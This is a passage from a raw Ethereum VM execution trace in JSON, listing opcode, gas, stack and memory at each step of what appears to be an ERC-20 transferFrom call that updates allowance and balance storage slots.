sCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7736,"op":"PUSH1","gas":88662,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7738,"op":"SWAP1","gas":88659,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7739,"op":"DUP2","gas":88656,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7740,"op":"MSTORE","gas":88653,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7741,"op":"PUSH1","gas":88650,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7743,"op":"DUP2","gas":88647,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x20"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7744,"op":"SWAP1","gas":88644,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x20","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7745,"op":"MSTORE","gas":88641,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x0","0x20"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7746,"op":"PUSH1","gas":88638,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7748,"op":"DUP1","gas":88635,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x40"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7749,"op":"DUP3","gas":88632,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x40","0x40"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7750,"op":"KECCAK256","gas":88629,"gasCost":42,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x40","0x40","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7751,"op":"DUP6","gas":88587,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x40","0x54f341bb1ed6c6db7315594b3a7320d59148ac72b98b3b77b9b86668193da6cc"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7752,"op":"DUP6","gas":88584,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x40","0x54f341bb1ed6c6db7315594b3a7320d59148ac72b98b3b77b9b86668193da6cc","0x4563918244f40000"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7753,"op":"SUB","gas":88581,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x40","0x54f341bb1ed6c6db7315594b3a7320d59148ac72b98b3b77b9b86668193da6cc","0x4563918244f40000","0x10f0cf064dd59200000"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7754,"op":"SWAP1","gas":88578,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x40","0x54f341bb1ed6c6db7315594b3a7320d59148ac72b98b3b77b9b86668193da6cc","0x10ec78cd35b142c0000"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7755,"op":"SSTORE","gas":88575,"gasCost":2900,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x40","0x10ec78cd35b142c0000","0x54f341bb1ed6c6db7315594b3a7320d59148ac72b98b3b77b9b86668193da6cc"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7756,"op":"SWAP2","gas":85675,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0x0","0x40"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7757,"op":"DUP6","gas":85672,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x40","0x0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7758,"op":"AND","gas":85669,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x40","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7759,"op":"DUP2","gas":85666,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x40","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7760,"op":"MSTORE","gas":85663,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x40","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7761,"op":"SWAP1","gas":85660,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x40","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7762,"op":"DUP2","gas":85657,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x0","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7763,"op":"KECCAK256","gas":85654,"gasCost":42,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x0","0x40","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7764,"op":"DUP1","gas":85612,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x0","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7765,"op":"SLOAD","gas":85609,"gasCost":2100,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x0","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7766,"op":"DUP5","gas":83509,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x0","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7767,"op":"SWAP3","gas":83506,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x0","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x2bda54fce7dbfc916a32","0x4563918244f40000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7768,"op":"SWAP1","gas":83503,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7769,"op":"PUSH2","gas":83500,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7772,"op":"SWAP1","gas":83497,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x2bda54fce7dbfc916a32","0x1e63"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7773,"op":"DUP5","gas":83494,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7774,"op":"SWAP1","gas":83491,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x2bda54fce7dbfc916a32","0x4563918244f40000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7775,"op":"PUSH2","gas":83488,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7778,"op":"JUMP","gas":83485,"gasCost":8,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32","0x3178"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12664,"op":"JUMPDEST","gas":83477,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0xceab047cc8266891f61e2259e09458077ed2875856a0d64c728fad62c5e56834","0x0","0x1e63","0x4563918244f40000","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12665,"op":"PUSH1","g